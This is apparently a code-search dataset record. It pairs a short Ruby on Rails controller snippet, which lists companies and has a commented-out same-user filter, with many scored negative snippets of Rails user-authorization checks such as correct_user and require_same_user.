"def send_data(io, data)\n loop do\n n = io.syswrite(data)\n return if n == data.bytesize\n data = data[n..-1]\n end\n end",
"def _do_write(io)\n raise NotImplementedError\n end",
"def write\n\n # output to disk\n File.open(@outfile, 'w:UTF-8') { |file|\n file.write(@buffer)\n }\n end",
"def text(str)\n @serial.write(\"#{str}\\r\")\n end",
"def write (string, to, as: user, on: hosts, quiet: false, once: nil)\n self.once once, quiet: quiet do\n log.info \"write: #{string.bytesize} bytes -> #{to}\", quiet: quiet do\n hash_map(hosts) do |host|\n host.write string, to, as: as, quiet: quiet\n end\n end\n end\n end",
"def string\n @io.string\n end",
"def write\n file = ::File.open(@file, 'w')\n file.write(Bencode.encode(@data))\n file.close\n end",
"def write(data); end",
"def write(data); end",
"def write(data); end",
"def write(data); end",
"def write_varint_string(string)\n if string.nil?\n write_varint(-1)\n else\n write_varint(string.bytesize)\n write(string)\n end\n end",
"def binary(string)\n string.force_encoding(Encoding::ASCII_8BIT)\n end",
"def write( object )\n if object.responds_to?(:write_to) then\n object.write_to(@stream)\n else\n @stream << object.to_s\n end\n end",
"def record_write bytes\n @reader.record_write bytes, @state\n end",
"def __emit(str)\n __writer.flush\n end",
"def syswrite(string)\n each_ios_and_stdout(string).map(&:syswrite)\n end",
"def syswrite( buf )\n\t\treturn _write( buf )\n\tend",
"def write(io, constraints = {})\n to_datastream(constraints).write(io)\n end",
"def write(io, constraints = {})\n to_datastream(constraints).write(io)\n end",
"def write(string)\n @dumplog.log_dump('>', string) if @options.has_key?(\"Dump_log\")\n @channel.send_data string\n end",
"def write data\n _data[:out].write data\n _data[:out].flush\n end",
"def write_binary(name, data)\n\t\t# read in binary as well?\n\t\twritten = File.open(name, 'wb') do |io| # write ASCII-8BIT (i.e. binary?)\n\t\t\tio.write(data)\n\t\tend\n\t\tRails.logger.info \"(i) w_b #{name} - bytes written - #{written}\"\n\t\tRails.logger.info \"(i) w_b - *data bytes length* - #{data.bytes.length}\"\n\t\twritten\n\tend",
"def puts( obj )\n return unless writeable?\n\n data = Marshal.dump(obj)\n @socket.write([data.size].pack('I')) + @socket.write(data)\n rescue SystemCallError\n return nil\n end",
"def write(bytes)\n loop do\n written = 0\n begin\n # unlike plain tcp sockets, ssl sockets don't support IO.select\n # properly.\n # Instead, timeouts happen on a per write basis, and we have to\n # catch exceptions from write_nonblock, and gradually build up\n # our write buffer.\n written += @ssl_socket.write_nonblock(bytes)\n rescue Errno::EFAULT => error\n raise error\n rescue OpenSSL::SSL::SSLError, Errno::EAGAIN, Errno::EWOULDBLOCK, IO::WaitWritable => error\n if error.is_a?(OpenSSL::SSL::SSLError) && error.message == 'write would block'\n if select_with_timeout(@ssl_socket, :write)\n retry\n else\n raise Errno::ETIMEDOUT\n end\n else\n raise error\n end\n end\n\n # Fast, common case.\n break if written == bytes.size\n\n # This takes advantage of the fact that most ruby implementations\n # have Copy-On-Write strings. Thusly why requesting a subrange\n # of data, we actually don't copy data because the new string\n # simply references a subrange of the original.\n bytes = bytes[written, bytes.size]\n end\n end"
] |
[
"0.78178066",
"0.74724317",
"0.73846424",
"0.73388565",
"0.73045856",
"0.7131149",
"0.703012",
"0.7018725",
"0.6949363",
"0.6949222",
"0.69329894",
"0.6915319",
"0.68876916",
"0.68819714",
"0.6879513",
"0.6833574",
"0.68219787",
"0.680301",
"0.6720407",
"0.66476995",
"0.66291946",
"0.6593815",
"0.65758634",
"0.6563083",
"0.6559336",
"0.6511483",
"0.64437056",
"0.64390564",
"0.6409724",
"0.6396136",
"0.6389391",
"0.63510096",
"0.63352567",
"0.6323698",
"0.6320962",
"0.63018715",
"0.62996453",
"0.628928",
"0.62850565",
"0.62844145",
"0.6283988",
"0.6269927",
"0.6262501",
"0.62356704",
"0.62190276",
"0.6183495",
"0.6148087",
"0.6148087",
"0.61368555",
"0.61368555",
"0.6135028",
"0.6119816",
"0.60983413",
"0.6095437",
"0.6078447",
"0.6075114",
"0.6026162",
"0.6026162",
"0.60252875",
"0.60175043",
"0.60035276",
"0.5998259",
"0.5979543",
"0.59716946",
"0.595059",
"0.59493047",
"0.59462214",
"0.59462214",
"0.5939567",
"0.5927924",
"0.5900563",
"0.5873248",
"0.5846287",
"0.58390635",
"0.58364",
"0.58180076",
"0.58126473",
"0.5792574",
"0.5768193",
"0.57660997",
"0.5765434",
"0.5753289",
"0.5750696",
"0.5750696",
"0.5750696",
"0.5750696",
"0.57464015",
"0.5743712",
"0.5742996",
"0.57408524",
"0.5738542",
"0.5719333",
"0.57185364",
"0.57139724",
"0.57139724",
"0.57105845",
"0.5698255",
"0.5697356",
"0.5688643",
"0.56879807"
] |
0.61887485
|
45
|
Writes a byte string to the IO object, the size is under varint format
|
def write_varint_bytes(bytes)
if bytes.nil?
write_varint(-1)
else
write_varint(bytes.bytesize)
write(bytes)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def write(string)\n string.to_s.bytesize\n end",
"def write(s)\n do_write(s)\n s.bytesize\n end",
"def write_byte(*n); end",
"def write(bytes)\r\n end",
"def write(bytes)\n @io.write(bytes)\n\n nil\n end",
"def write(string)\n\t\t\t\t@write_buffer << string\n\t\t\t\t\n\t\t\t\tif @write_buffer.size > @block_size\n\t\t\t\t\tflush\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\treturn string.bytesize\n\t\t\tend",
"def write_byte(byte)\n write [byte].pack(\"C\")\n end",
"def write(string)\n send(string)\n string.length\n end",
"def write(io)\n io.write [@value].pack(format)\n end",
"def write(str)\n s = str.to_s\n # TODO: implement String#bytesize\n @length += s.size\n @writer.call s\n\n set_header(Rack::CONTENT_LENGTH, @length)\n str\n end",
"def write_varint_string(string)\n if string.nil?\n write_varint(-1)\n else\n write_varint(string.bytesize)\n write(string)\n end\n end",
"def write_string(string)\n\t\twrite_byte(2)\n\t\twrite_utf(string.to_s)\n\tend",
"def write(str)\n writing { write0 str }\n end",
"def write(s)\n binary_to_store = Marshal.dump(s)\n bytes = @ioctx.write(@oid, binary_to_store, binary_to_store.size, @offset)\n # add an xattr :\n set_attribut(@@size_xattr, binary_to_store.size)\n \n @offset += bytes\n bytes\n end",
"def write(io)\n write_with_crc(io, content || \"\")\n end",
"def write(io)\n write_with_crc(io, content || '')\n end",
"def write_bytes(bytes)\n if bytes.nil?\n write_int32(-1)\n else\n write_int32(bytes.bytesize)\n write(bytes)\n end\n end",
"def write(str)\n s = str.to_s\n\n @length += s.bytesize\n @headers[Rack::CONTENT_LENGTH] = @length.to_s\n @body << s\n end",
"def write string\n end",
"def bytes(val)\n val = val.to_s\n\n # Pad with zeros until length is a multiple of 4\n while val.length % 4 != 0 do\n val += \"\\0\"\n end\n\n @io.write(val)\n end",
"def write_string(string)\n if string.nil?\n write_int16(-1)\n else\n write_int16(string.bytesize)\n write(string)\n end\n end",
"def write(string)\n @handle.write(string)\n end",
"def bytes!(ofs, sz)\n unless @stack[-1][-1] and @stack[-1][-1][0] == :bytes\n out! :bytes, ofs, 0\n end\n @output_binary << @data[ofs, sz]\n @stack[-1][-1][2] += sz\n end",
"def do_write(s)\n @wbuffer << s\n @wbuffer.force_encoding(Encoding::BINARY)\n @sync ||= false\n\n if @sync or @wbuffer.size > BLOCK_SIZE or idx = @wbuffer.rindex($/)\n remain = idx ? idx + $/.size : @wbuffer.length\n nwritten = 0\n\n while remain > 0\n str = @wbuffer[nwritten,remain]\n begin\n nwrote = syswrite(str)\n rescue Errno::EAGAIN\n retry\n end\n remain -= nwrote\n nwritten += nwrote\n end\n\n @wbuffer[0,nwritten] = \"\"\n end\n end",
"def write_string(string, data: nil, stream: nil)\n raise ArgumentError, \"String must be present\" if !string\n\n intbuf = write_varint(string.bytesize, data: data, stream: stream)\n\n stringbuf = BTC::Data.ensure_binary_encoding(string)\n\n data << stringbuf if data\n stream.write(stringbuf) if stream\n\n intbuf + stringbuf\n end",
"def bytesize(string)\n string.respond_to?(:bytesize) ? string.bytesize : string.length\n end",
"def write(str, len=nil)\n raise ArgumentError, \"str must respond to :to_s\" unless str.respond_to? :to_s\n @mem.write_string(str.to_s, len)\n end",
"def write_(s)\n s = s.encode(@conf['encoding'], s.encoding)\n @sock.puts s\n log.info \"W > #{s}\"\n end",
"def puts_bytes(*a)\n @device.puts_bytes(*a)\n end",
"def write(bytes)\n @serial_port.write(bytes)\n end",
"def write(buf); end",
"def store_field(data)\n @io.write [data.size].pack(\"V\") \n offset = @io.pos\n @io.write data\n @io.write \"\\0\"\n offset \n end",
"def write(s)\n @file.write(s)\n end",
"def unbuffered_write(string)\n bytes_written = @io.write(string)\n @total_bytes_in += bytes_written\n bytes_written\n end",
"def encode\n [@size].pack(\"N\") + @buffer\n end",
"def write!( string )\n @stream << string\n end",
"def write(s)\n @data += s\n end",
"def write(string)\n @buffer << string\n self\n end",
"def var_bytes(val)\n val = val.to_s\n\n raise ArgumentError, \"var_bytes() cannot encode data longer \" +\n \"than 2**32-1 bytes\" \\\n unless val.length <= 2**32-1\n\n # While strings are still byte sequences, this is the same as a\n # string\n self.string(val)\n end",
"def write(io)\n io = BinData::IO.new(io) unless BinData::IO === io\n\n do_write(io)\n io.flush\n self\n end",
"def putz(s)\n s.each_byte do |ch|\n @serial_port.putc(ch)\n @serial_port.flush\n #$log.debug(\"Wrote: \" + ch.chr)\n end\n end",
"def write(s)\n @port.write(s)\n sleep(@wait_after_send / 1000.0) if @wait_after_send\n end",
"def write(io)\n wu32(io, MAGIC_NUMBER)\n wu16(io, VERSION_MAJOR)\n wu16(io, VERSION_MINOR)\n wi32(io, THIS_ZONE)\n wu32(io, sigfigs)\n wu32(io, snaplen)\n wu32(io, network)\n end",
"def syswrite(string)\n raise NotImplementedError\n end",
"def push(io, data)\n packet = Marshal.dump data\n lenbytes = [packet.bytesize].pack(LEN_PACK)\n io.write lenbytes\n io.write packet\n io.flush\n end",
"def write(string)\n written = 0\n length = string.bytesize\n while written < length\n begin\n written += write_nonblock(string.byteslice(written, length - written))\n rescue IO::WaitWritable, Errno::EINTR\n block_until_writable\n retry\n end\n end\n written\n end",
"def write_buffer(io = T.unsafe(nil)); end",
"def write_binary(buf)\n raise NotImplementedError\n end",
"def write bytes\n r = response_object\n r.body \"\" if r.body_io.nil?\n r.body_io.write bytes\n end",
"def buffer(size = 4)\n \"\\0\" * size\n end",
"def stringio_length(io)\n io.string.length\n end",
"def writeOutput\n\t\tbytes = @socket.syswrite( @obuffer )\n\t\t@obuffer[ 0, bytes ] = '' if bytes.nonzero?\n\t\treturn @obuffer.length\n\tend",
"def write_utf(file, string, md)\n write_short(file, string.length, md)\n write(file, string, md)\n end",
"def puts_bytes(*data)\r\n API::Output.puts(@resource, data)\r\n true\r\n end",
"def write_footer(size)\n @io.write [size].pack(\"V\")\n @io.write \"\\0\"\n end",
"def write(d)\n @writer << d\n d.bytesize\n end",
"def write_to_socket bytes\n socket.write_nonblock bytes\n rescue IO::WaitWritable\n :wait_writable\n end",
"def to_storage(bytes)\n case bytes\n when 0\n \"empty\"\n when 1..1.kilobyte-1\n bytes.to_s + \" b\"\n when 1.kilobyte..1.megabyte-1\n (bytes.to_f/1.kilobyte).round(2).to_s + \" Kb\"\n when 1.megabyte..1.gigabyte-1\n (bytes.to_f/1.megabyte).round(2).to_s + \" Mb\"\n when 1.gigabyte..1.terabyte-1\n (bytes.to_f/1.gigabyte).round(2).to_s + \" Gb\"\n else\n \"File is very long\"\n end\n end",
"def write(io)\n if io.is_a?(String)\n io = File.open(io, 'w')\n self.write(io)\n io.close\n return\n end\n\n Marshal.dump(self, io)\n end",
"def write_varint(i, data: nil, stream: nil)\n buf = encode_varint(i)\n data << buf if data\n stream.write(buf) if stream\n buf\n end",
"def write_with_crc(io, content)\n io << [content.length].pack('N') << type << content\n io << [Zlib.crc32(content, Zlib.crc32(type))].pack('N')\n end",
"def write_with_crc(io, content)\n io << [content.length].pack(\"N\") << type << content\n io << [Zlib.crc32(content, Zlib.crc32(type))].pack(\"N\")\n end",
"def io(data, io)\n io.write(obj)\n end",
"def write(string)\n log :write, string\n @socket << string\n end",
"def puts( obj )\n return unless writeable?\n\n data = Marshal.dump(obj)\n @socket.write([data.size].pack('I')) + @socket.write(data)\n rescue SystemCallError\n return nil\n end",
"def write(string)\n length = string.length\n while 0 < length\n IO::select(nil, [@sock])\n @dumplog.log_dump('>', string[-length..-1]) if @options.has_key?(\"Dump_log\")\n length -= @sock.syswrite(string[-length..-1])\n end\n end",
"def output_binary(binary)\n message = \"\\r\\n\"\n message << \"Identifier: #{binary[:uniqueid]}\\r\\n\"\n message << \"Length: #{binary[:size]}\\r\\n\"\n message << \"\\r\\n\"\n message << \"#{binary[:data]}\\r\\n\"\n end",
"def write(chunk)\n @size += chunk.bytesize\n # Worth noting that size always appears larger during this check than it\n # is in reality since the size is updated prior to writing out the data to\n # ensure that the amount of data stored in RAM doesn't exceed the maximum\n # in memory size.\n update_io if @in_memory && @size > @max_in_memory_size\n @io << chunk\n chunk\n end",
"def var_bytes()\n len = self.uint32()\n self.bytes(len)\n end",
"def write!\n @dev = File.open(@device, \"w\") if (@dev.nil? || @dev.closed?)\n @dev.write @bytes.pack(\"c*\")\n @dev.flush\n end",
"def string\n io.pos = start_index unless io.pos == start_index\n io.read(num_bytes)\n end",
"def write_i(i)\n z.write i.p32\nend",
"def write(buf)\n\t\t\twrite_remote(buf)\n\t\t\treturn buf.length\n\t\tend",
"def send(str)\n write(str + 0.chr)\n end",
"def write_output\n\t\tbytes = self.socket.syswrite( self.obuffer )\n\t\tself.obuffer.slice!( 0, bytes ) if bytes.nonzero?\n\n\t\treturn self.obuffer.length\n\tend",
"def to_bin\n [\n \"data\",\n [body.size].pack(\"V\"),\n body\n ].join\n end",
"def write_int8(int)\n write([int].pack(\"C\"))\n end",
"def string()\n len = self.uint32()\n self.bytes(len)\n end",
"def write str = \"\"\n @socket.write str + \"\\r\\n\"\n end",
"def write(string, *smth)\n #This is a stub, used for indexing\n end",
"def write(handle, offset, data)\n send_request(FXP_WRITE, :string, handle, :int64, offset, :string, data)\n end",
"def to_bytes(order=nil, siz=nil)\n to_chars(order,siz) {|c| c.chr }.join\n end",
"def bytes(length)\n length = Rubinius::Type.coerce_to length, Integer, :to_int\n s = ''\n i = 0\n while i < length\n s << @randomizer.random_integer(255).chr\n i += 1\n end\n\n s\n end",
"def write_binary(name, data)\n\t\t# read in binary as well?\n\t\twritten = File.open(name, 'wb') do |io| # write ASCII-8BIT (i.e. binary?)\n\t\t\tio.write(data)\n\t\tend\n\t\tRails.logger.info \"(i) w_b #{name} - bytes written - #{written}\"\n\t\tRails.logger.info \"(i) w_b - *data bytes length* - #{data.bytes.length}\"\n\t\twritten\n\tend",
"def syswrite(buffer)\n\t\t\t\tremaining = buffer.bytesize\n\t\t\t\t\n\t\t\t\t# Fast path:\n\t\t\t\twritten = @io.write(buffer)\n\t\t\t\treturn if written == remaining\n\t\t\t\t\n\t\t\t\t# Slow path:\n\t\t\t\tremaining -= written\n\t\t\t\t\n\t\t\t\twhile remaining > 0\n\t\t\t\t\twrote = @io.write(buffer.byteslice(written, remaining))\n\t\t\t\t\t\n\t\t\t\t\tremaining -= wrote\n\t\t\t\t\twritten += wrote\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\treturn written\n\t\t\tend",
"def send_data(io, data)\n loop do\n n = io.syswrite(data)\n return if n == data.bytesize\n data = data[n..-1]\n end\n end",
"def send(str)\n # $stderr.puts str.size\n (p str.size;fail) if str.size > 0x20\n print str.ljust(0x20, 'A')\nend",
"def write_varint(int)\n int = int << 1\n int = ~int | 1 if int < 0\n\n chunks = []\n while int >> 7 != 0\n chunks << (int & 0x7f | 0x80)\n int >>= 7\n end\n chunks << int\n write(chunks.pack(\"C*\"))\n end",
"def size=(size)\n throw ArgumentError.new('new size is negative') if size.negative?\n size -= data.size\n if size.positive?\n @data += '\\0' * size\n elsif size.negative?\n @data = @data[0...size]\n end\n @data.size\n end",
"def write(data); end",
"def write(data); end",
"def write(data); end",
"def write(data); end",
"def size_in_byte=(value)\n @size_in_byte = value\n end",
"def write(data)\n partial = @stream_cipher.update(data.to_s)\n @ios.write(partial) if partial.length > 0\n data.length\n end",
"def add_bytes(tag, value)\n value = value.to_s\n write_tag(tag, Type::BYTE_ARRAY)\n Varint.serialize(@io, value.bytesize)\n @io << value\n\n self\n end",
"def pack_bytes(byte_string)\n [byte_string].pack('H*')\n end",
"def make(byte, length)\n while byte.length < length\n byte = \"0\" + byte\n end\n return byte\nend",
"def write s\n raise RuntimeError, \"No socket\" unless @socket\n @socket.puts s += \"\\r\\n\"\n puts \"WROTE: #{s.inspect}\" if config[:debug]\n end",
"def write(buffer, offset, count)\n # Do the actual write. Note that this will automatically honor $stdout redirection \n # of the ScriptEngine of the tutorial application.\n print @encoding.get_string(buffer, offset, count)\n end"
] |
[
"0.80468494",
"0.79287845",
"0.7310547",
"0.72953856",
"0.70280015",
"0.70229805",
"0.6818229",
"0.6769037",
"0.6685795",
"0.6645412",
"0.6625934",
"0.6609277",
"0.65974224",
"0.65971804",
"0.6577895",
"0.6544731",
"0.6522107",
"0.6519173",
"0.6507226",
"0.6505245",
"0.6497192",
"0.6496319",
"0.6487288",
"0.6381263",
"0.62988037",
"0.62853557",
"0.6244858",
"0.62389237",
"0.6230083",
"0.6192688",
"0.6186681",
"0.6156665",
"0.61343247",
"0.6126821",
"0.61153567",
"0.6114856",
"0.61085415",
"0.6108202",
"0.607298",
"0.60590357",
"0.6043766",
"0.60270077",
"0.6023645",
"0.6013699",
"0.6011958",
"0.6004865",
"0.6000523",
"0.5990721",
"0.5978136",
"0.59651047",
"0.59458065",
"0.592114",
"0.5913069",
"0.5902926",
"0.5900485",
"0.58863366",
"0.58847207",
"0.58829606",
"0.5881094",
"0.5870716",
"0.58703923",
"0.58613276",
"0.5853159",
"0.58422726",
"0.58349323",
"0.5828109",
"0.58199275",
"0.5819097",
"0.5818692",
"0.57992625",
"0.579198",
"0.5781851",
"0.577338",
"0.57694346",
"0.5768972",
"0.57673705",
"0.5744247",
"0.57418835",
"0.5735818",
"0.5734875",
"0.573352",
"0.5731346",
"0.5726607",
"0.5707865",
"0.5702556",
"0.5700823",
"0.57001966",
"0.56915295",
"0.568947",
"0.5686229",
"0.5686229",
"0.5686229",
"0.5686229",
"0.56697816",
"0.5666569",
"0.5661165",
"0.5657116",
"0.5651916",
"0.56319463",
"0.56318575"
] |
0.62259233
|
29
|
before_action :require_same_user, except: [:edit, :update]
|
def index
@company = Company.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def require_same_user\n # if the user is on another user's edit or update page\n if current_user != @user and !current_user.admin?\n # flash message\n flash[:danger] = \"Access denied.\"\n # and redirect to articles listing\n redirect_to articles_path\n end\n end",
"def require_same_user\n if current_user != @user\n flash[:error] = \"You do not have permisions to edit a user other than yourself\"\n redirect_to root_path\n end \n end",
"def edit\n require_user\n end",
"def require_same_user\n if current_user != @user && !current_user.admin?\n flash[:alert] = \"you dont have access to do anything with #{@user.username}'s account\"\n redirect_to user_path(@user)\n \n end\n \n end",
"def same_user_required\n unless @current_user == User.find(params[:id])\n flash[:error] = \"Non puoi modificare un utente diverso dal tuo\"\n redirect_to timetables_url\n end\n end",
"def require_same_user\n if current_user != @recipe.chef and !current_user.admin?\n flash[:danger] = \"You can only edit your own recipes\"\n redirect_to recipes_path\n end\n \n end",
"def correct_user\n @user = User.find(params[:id])\n #render :json => { :updated? => false, :status => 200, :message => \"You are not allowed edit other users.\" } unless @user == current_user\n redirect_to(root_url) unless @user == current_user\n end",
"def require_same_user\n if current_user != @article.user and !current_user.admin?\n flash[:danger] = \"You can only update your own articles!\"\n redirect_to root_path\n end\n end",
"def require_same_user\n if current_user != @article.user && !current_user.admin?\n flash[:alert] = \"You can only edit or delete your own article\"\n redirect_to @article\n end\n end",
"def edit\n # Listing 9.14: Finding the correct user is now handled by the correct_user before_action.\n end",
"def require_same_user\n if current_user != @article.user && !current_user.admin\n flash[:alert] = \"You can only edit or delete your own article\"\n redirect_to @article\n end\n end",
"def require_same_user\n if current_user != @article.user && !current_user.admin\n flash[:alert] = \"You can only edit/delete from your own article listings\"\n redirect_to @article\n end\n end",
"def prevent_other_user_edits\n @user = User.find(params[:id])\n\n if !(logged_in?)\n redirect_to login_path\n flash[:danger] = \"You must be logged in to visit this page\"\n\n else\n if (current_user.id != @user.id)\n redirect_to home_path\n flash[:danger] = \"You must be logged in as the correct user to visit this page\"\n end\n end\n end",
"def self_edit_only\n #if current_user.id != Integer(params[:id]) && !current_user.is_admin\n if !can_edit\n redirect_to user_url, :notice => \"You don't have permission to do that.\"\n else\n end\n end",
"def user_edits\n redirect_to home_path if current_user != User.find(params[:id])\n end",
"def correct_user\n #to define the correct user and omit it when edit and update\n @user=User.find(params[:id])\n redirect_to(root_path) unless current_user?(@user)\n end",
"def edit\n return redirect_to(@user) if @user != current_user\n end",
"def correct_user_to_edit\n not_allow if (@job.user.id != current_user.id) \n end",
"def require_same_user\n if current_user != @article.user && !current_user.admin?\n flash[:danger] = \"You do not own this article and thus cannot edit nor delete it\"\n redirect_to root_path\n end\n end",
"def edit_user\n redirect_to(root_url) unless current_user.edit?\n end",
"def edit\n authorize! :update, @user\n end",
"def require_same_user\n @profile = Profile.find(params[:id])\n if @profile.user_id != current_user.id\n flash[:danger] = \"You are not right User to made this changes\"\n redirect_to root_path\n end\n end",
"def require_same_user\n if admin_user != @post.user\n flash[:danger] = ['You can not edit these articles fool']\n redirect_to admin_posts_path\n end\n end",
"def require_same_user_or_admin\n # Note: set_recipe has already been executed first because of before_action above and @recipe object now exists.\n if (current_user != @recipe.chef) && !current_user.admin?\n flash[:danger] = \"You can only edit your own recipes\"\n redirect_to recipes_path\n else \n return true\n end\n end",
"def edit\n if @user != current_user\n flash[:error] = \"You cannot do that\"\n redirect_to users_path\n end\n end",
"def edit\n redirect_to root_url and return unless current_user\n @user = current_user\n end",
"def require_object_owner\n if User.find(params[:user_id]) != current_user\n flash[:error] = \"Sorry! Viewing not authorized.\"\n redirect_to :back\n end\n end",
"def edit\n @user = User.find(params[:id])\n\n deny_wrong_user if !current_user?(@user)\n end",
"def edit\n authorize! :edit, @user, :id => current_user.id\n end",
"def edit\n enforce_update_permission(@user)\n end",
"def authorize\n render json: { status: 200, msg: 'You are not allowed to do this update' } unless current_user && current_user.can_modify_user?(params[:id])\n end",
"def require_same_user\n if params[:id].to_i != current_actor.id\n flash[:error] = \"Unable to complete withdrawal. Invalid user.\".t\n redirect_to money_path(current_actor) and return\n end\n end",
"def edit_current_user\n end",
"def user_permitted_to_edit(item)\n item.user == current_user \n end",
"def edit\n @user = User.friendly.find(params[:id])\n if not_owner_check(@user)\n redirect_to current_user\n end\n end",
"def require_admin_or_correct_user\n @user = User.find(params[:id])\n flash[:error] = \"Access Denied\"\n redirect_to(root_url) unless (current_user.id == @user.id || is_admin?)\n end",
"def edit_authorized(current_user)\n return self.user_id == current_user.id\n end",
"def edit_authorized(current_user)\n return self.user_id == current_user.id\n end",
"def own_user_or_admin_required\n if current_user\n if (current_user.id == params[:id]) || current_user.admin\n return\n end\n end\n redirect_to \"/login\", notice: 'Logga in som denna användare för att ändra uppgifter.'\n end",
"def edit\n @user = User.shod(params[:id])\n authorize! :update, @user\n end",
"def require_same_user\n if current_user.id != @art_plan.user_id\n flash[:danger] = \"You can only edit or delete your own art project plan\"\n redirect_to art_plans_path\n end\n end",
"def edit\n if !(current_user.id == @user.id || is_admin?)\n indicate_illegal_request I18n.t('users.not-your-account')\n end\n end",
"def edit\n authorize @user_information\n end",
"def edit\n @user = User.find(params[:id])\n authorize! :update, @user \n end",
"def edit\n # @user = User.find(params[:id])\n # already in correct_user\n end",
"def correct_user\n unless Presenter.find_by(user_id: current_user) == find_presenter\n if current_user.admin?\n redirect_to edit_presenter_profile_path\n else\n flash[:danger] = \"Unauthorized Access\"\n redirect_to root_url\n end \n end\n end",
"def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless @user == current_user\nend",
"def edit\n # @user は編集対象のユーザー\n # current_user はログインしているユーザー \n @user = User.find(params[:id])\n if (current_user != @user)\n redirect_to root_path\n end\n end",
"def correct_user\n# user = User.find_by_id(params[:id])\n# redirect_to(root_url) unless user && current_user?(user)\n end",
"def correct_user\n render_forbidden unless current_user?(@user)\n end",
"def require_admin_or_self\n unless current_user.admin? || current_user == User.find(params[:id])\n flash[:notice] = \"You must be an admin to access this page\"\n redirect_to users_path\n return false\n end\n end",
"def correct_user\n @user = User.find(params[:id])\n redirect_to(users_path,:notice =>'Accés non autorisé') unless( current_user?(@user)|| current_user.is_admin?)\n end",
"def require_user \n redirect_to '/login' unless current_user \n end",
"def require_user \n redirect_to '/login' unless current_user \n end",
"def edit\n @user = User.find(params[:id])\n\n #this works, but we can do better.\n authorize! :edit, @user\n end",
"def edit\n set_user\n end",
"def require_user\n end",
"def allow_edit(owner)\n return true if allow(owner)\n respond_to do |format|\n format.html { redirect_to user_path(session[:user_id]), notice: 'You are not authorized to perform the action' }\n end\n end",
"def edit\n\t @user = User.find(params[:id])\n\t redirect_to root_path unless current_user.is_admin? or @user == current_user\n\tend",
"def require_same_user\r\n if current_user != @cart_item.user\r\n flash[:danger] = \"Incorrect user...\"\r\n\t redirect_to root_path\r\n end\r\n end",
"def correct_user\n set_user\n unless current_user?(@user)\n flash[:danger] = 'This action is not permitted for this account since you are not the owner'\n redirect_to overview_user_path(current_user)\n end\n end",
"def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end",
"def correct_user\n @admin = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@admin)\n end",
"def view_edit\n\t\trequest_user(params[:id])\n\t\ttarget_user = @user\n\t\tif current_user.id != target_user.id && @admin == false\n\t\t\tredirect_to '/public/422.html', status: 422\n\t\t\treturn false\n\t\tend\n\tend",
"def require_equal_user\n if @user.id != current_user.id\n render :file => \"#{Rails.public_path}/401.html\", :layout => true, :status => :unauthorized\n end\n end",
"def edit\n redirect_back_or_default(\"/\") if\n !@user&.admin && session[:real_user_id].blank?\n end",
"def require_user\n redirect_to '/login' unless current_user\n end",
"def require_user\n redirect_to '/login' unless current_user\n end",
"def edit\n #@user = User.find(params[:id]) \n #replced by the before_action at the top\n end",
"def authorize_user\n redirect_to restrooms_path, flash: {message: \"You don't have permission to make changes to another user's profile.\"} unless current_user.admin? || @user == current_user\n end",
"def correct_user\n @user = User.find(params[:id])\n\n if @user != current_user\n redirect_to(root_path)\n else\n # nothing to do\n end\n end",
"def correct_user\n @user = User.find(params[:id])\n # redirect_to(root_url) unless @user == current_user\n redirect_to(root_url) unless current_user?(@user)\n end",
"def restrict_developer\n if (controller_name == 'user_sessions' and action_name == 'destroy') or\n (controller_name == 'users' and (action_name == 'edit' || action_name == 'update'))\n return\n end\n if current_user and is_developer \n redirect_to :controller => 'efforts'\n end\n end",
"def correct_user\n @user = User.find(params[:id])\n redirect_to current_user unless current_user == @user\n end",
"def correct_user\n# begin\n# @user = User.find(params[:id])\n# rescue ActiveRecord::RecordNotFound => e\n# @user = nil\n# end\n# redirect_to(edit_user_path(current_user)) unless current_user.current_user?(@user)\n redirect_to(edit_user_path(current_user)) unless current_user[:id].to_s == params[:id]\n end",
"def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end",
"def same_user(controller)\n user = User.find_by_id params[:id]\n if user== nil || user!= @current_user\n redirect_to :root, notice: '你没有权限查看其他token'\n end\n end",
"def ensure_correct_user \n # compare some params vs something in the session/current_user\n unless params[:id].to_i == session[:user_id]\n redirect_to all_teams_path, alert: \"Not Authorized\"\n end\n end",
"def correct_user\n @article = Article.find(params[:id])\n redirect_to root_url, flash: { error: 'Article can be edited/viewed/deleted by their own user!!'} unless @article.user.id == current_user.id\n end",
"def correct_user\n \t@user = User.where(id: params[:id]).to_a[0]\n\tunless current_user?(@user) or current_user.admin?\n\t\tredirect_to root_path, notice: \"You are not allowed to do that.\"\n\tend\n end",
"def correct_user\n \t@user = User.find(params[:id])\n \tredirect_to current_user unless current_user?(@user) \n end",
"def edit\r\n @user = current_user\r\n render :layout=>false\r\n end",
"def check_user_before_action\n @blog = Blog.find(params[:id])\n if (current_user != @blog.user) and (@blog.global == false)\n redirect_to({ action: \"index\" }, notice: \"You don't have sufficient permissions\")\n\n end\n end",
"def correct_user\n if current_user\n @user = User.find(params[:id]) if params[:id]\n unless current_user?(@user) || current_user.admin?\n redirect_to user_path(current_user) \n end\n else\n redirect_to login_path\n end\n end",
"def edit\n if current_user.access == 2\n redirect_to \"/users/indexU\"\n end\n end",
"def edit\n # @user is already set by correct_user\n # @user = User.find(params[:id])\n end",
"def can_edit?(user)\n user == current_user\n end",
"def correct_user\n \n redirect_to(login_path) unless current_user?(@user)\n end",
"def correct_employee\n\t\tparams[:id]==current_user\n\tend",
"def owner_only\n unless current_user == @organism.owner\n flash[:alert] = \"Vous ne pouvez executer cette action car vous n'êtes pas le propriétaire de la base\"\n redirect_to admin_organisms_url\n end\n\n end",
"def correct_user\n @user = User.find(params[:id])\n redirect_to '/' unless @user == current_user || current_user.isadmin?\n end",
"def correct_user\n redirect_to(root_url) unless current_user?(@user)\n end",
"def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end",
"def can_edit?(user)\n user == self.user\n end",
"def require_current_user\n \tunless User.find(params[:id]) == current_user\n \t\tflash[:error] = \"Sorry! Viewing not authorized.\"\n \tend\n end",
"def require_user \n redirect(to('/')) unless current_user \nend",
"def can_edit?(user)\n self == user\n end",
"def can_edit?(user)\n self == user\n end",
